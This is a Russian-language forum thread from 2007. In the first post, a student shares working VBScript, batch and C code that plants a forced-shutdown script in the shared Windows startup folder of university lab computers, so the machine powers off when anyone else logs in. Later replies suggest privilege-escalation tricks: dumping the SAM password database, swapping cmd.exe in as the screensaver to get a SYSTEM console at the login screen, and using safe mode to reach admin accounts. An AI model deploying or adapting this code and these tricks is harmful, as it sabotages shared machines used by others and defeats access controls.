PDA

Просмотр полной версии : Как заблочить комп, чтобы никто кроме вас не вошел


AdvLamer
06.02.2007, 18:35
Первая моя статейка, чур строго не судить :)
Сути в ней немного, но может кому и пригодится.

Сначала небольшая предыстория.

Зашли с одногруппником в терминалку в универе, чтобы занять компы и через пару вернуться. Через пару увидеть какой-нибудь комп свободным было бы чем-то сверхъестественным. Вошли в систему, нажали Блокировку, ясно дав знать, что компьютеры заняты. Иногда этого достаточно, ну а иногда некоторые бессовестные юзеры чихают на то, что комп занят и хозяин через минуту может
вернуться, перезагружаются и входят под своим логином, при этом если в залоченном компе докачивался последний десяток мегабайт какой-то вкусной программы, которую хозяин залоченого компа надеялся увидеть скаченной по своему возвращению, конечно обламывался и программа уходила в небытие :)

После возвращения через пару, мой компьютер неким чудесным образом оставался залоченым, а за компом одногруппника сидел хитрый наглый юзер. Ну и чтобы такого впредь не случалось, решил я написать пару файлов, дабы предотвратить такие бессовестные поступки.

Конечно, от нажатия ресета ничего не спасет компьютер, и последний недокачанный мегабайт уже не докачается, но по крайней мере наглый юзер не сможет сесть за комп, и после возвращения за него сяду я.

Опять же, небольшая неприятность: великий safe mode обломает всю моя затею. Но смею заверить, что добрых 90 процентов (по крайней мере наших) юзеров о нем никогда не догадаются, и скорее всего поспешно отойдут от выключившегося на загрузке их конфига компьютера, чего доброго еще и испугавшись, что испортили машину :)

Так вот, плавно перехожу к сути метода. Все просто как дважды два. После небольших действий с моей стороны и залочения компа войду в систему только я (напоминаю, про safe mode забыли), а хитрый наглый юзер обломается: после того как он войдет в систему комп выключится. Проверял дома: даже если догадаться залезть в диспетчер задач и вырубить нехороший процесс, этого
просто-напросто не успеть.

Теперь то, что нам нужно. Вероятно, можно было сократить количество необходимых файлов, но поскольку c bat-файлами я пока знаком не слишком близко, потребуется 5 файлов.

Первый, и главный файл это sysdrv.vbs, известный в поисковиках как poweroff.vbs, Visual Basic скрипт для
вырубления форточек.


dim OpSysSet, obj
Set OpSysSet = GetObject("winmgmts:{impersonationLevel=impersonate," & _
"(Shutdown)}//./root/cimv2").ExecQuery _
("SELECT * FROM Win32_OperatingSystem" &_
" WHERE Primary=true")

For Each obj In OpSysSet
obj.Win32Shutdown(8)
Next


Далее файл sysdrv.bat, который вырубит комп, если вы зашли не под пользователем lamer (это ваш логин (не подумать никаких намеков, сам я под этим логином и тестировал дома))


echo off
if exist c:\docume~1\lamer\locals~1\temp (del c:\winnt\sysdrv.vbs) else call c:\winnt\sysdrv.vbs


Файл проверяет существование папки temp в вышеследующей директории.
Эта папка создается автоматически системой при входе пользователя lamer, если она не создана.
Как раз перед тем как залочить комп эта папку будет удалена, и если попробует войти не lamer, то, поскольку такой папки нет,
комп выключается. А если входит lamer, то папка temp создается еще до запуска этого bat файла, и тем самым скрипт выключения
компа удаляется.

Чтобы подготовить компьютер к блокировке, нужно запустить файл Зафигачить.bat
следующего содержания


echo off
del c:\docume~1\lamer\locals~1\temp\*.* /q
if exist c:\docume~1\lamer\locals~1\temp (rmdir c:\docume~1\lamer\locals~1\temp)
call copy.exe


Таким образом, очищается и удаляется папка temp и вызывается следующий исполняемый файл copy.exe
Его код на MS Visual Studio 6.0


#include "stdafx.h"
#include "stdio.h"
#include "stdlib.h"

void main()
{
FILE *input,*output;
char ch;

input=fopen("sysdrv.bat","r");
output=fopen("C:/Documents and Settings/All Users/Главное меню/Программы/Автозагрузка/sysdrv.bat","w");
while ((fread(&ch,1,1,input))!=NULL)
fwrite(&ch,1,1,output);
fclose(input);
fclose(output);

input=fopen("sysdrv.vbs","r");
output=fopen("C:/WINNT/sysdrv.vbs","w");
while ((fread(&ch,1,1,input))!=NULL)
fwrite(&ch,1,1,output);
fclose(input);
fclose(output);
}


Он копирует sysdrv.bat в папку C:/Documents and Settings/All Users/Главное меню/Программы/Автозагрузка/,
на запись в которую права есть у всех пользователей, и скрипт sysdrv.vbs в папку винды (опять же, права есть).

Ну и последний 5-ый файл Пофиксить.exe


#include "stdafx.h"
#include "stdio.h"
#include "stdlib.h"

void main()
{
unlink("C:/Documents and Settings/All Users/Главное меню/Программы/Автозагрузка/sysdrv.bat");
unlink("C:/WINNT/sysdrv.vbs");
}


Который удаляет использованные файлы. Хотя файл sysdrv.vbs уже должен был удалиться после входа пользователя lamer.



Теперь можно спокойно покидать компьютер в терминалке, предварительно нажав Зафигачить.bat и залочив комп, и с большой вероятностью можно сказать, что пока вы ни сядете за него, никто другой тоже там не посидит.

Респекты: гуглу за vbs скрипт :)

AdvLamer
07.02.2007, 01:40
Ну я думаю, если доступ только к своему конфигу, ничего сделать не получится. Ну просто как ты сможешь что-то сделать для другого пользователя, если не можешь выйти за пределы своей папки. Хотя, конечно, интересно, можно ли все-таки в таком случае выкрутиться, но я, честно говоря, не знаю, что можно придумать. Разве что дампить SAM (NTFSDOS) и подниматься в правах.
А ты уверен, что доступа а автозагрузку all users нету? Просто у нас тоже ntfs, авторизация в домене, в local_michine незя писать, теперь поставили запрет на чужие конфиги, то есть права довольно урезаны, но в all users спокойно можно писать что угодно.

AdvLamer
07.02.2007, 02:16
Где то писали, что если переименовать cmd.exe в *.scr и поставить в качестве застаки, ребутнуть, чтобы окно для авторизации появилось, то через установленное время запустится в качестве заставки консоль с правами system, а system то думаю должен иметь права на all users. Хотя сам не пробовал...гм, надо попробовать.

AdvLamer
07.02.2007, 17:12
Ну наверно серьезно урезали права, как у нас в школе было, даже частоту на мониторе сменить нельзя, запрет на свойства экрана

REDsaratov
08.02.2007, 14:35
у нас в технаре такае-же фигня ни одна настройка не доступна!

Nekt
28.02.2007, 19:02
А, safe mode?!!!
Ведь загрузившись там высветиться админ, а обычно его не видно и админы не ставят пороля на свои конфиги... Или создают каго-нить уродский профиль с админ правами, и вы даже не подозреваете что он с такими правами.

Helios
02.03.2007, 04:34
админы не ставят пороля на свои конфиги.

Ага, только не у нас в универе - сам видел, как один из них набирал пасс символов эдак в 15-20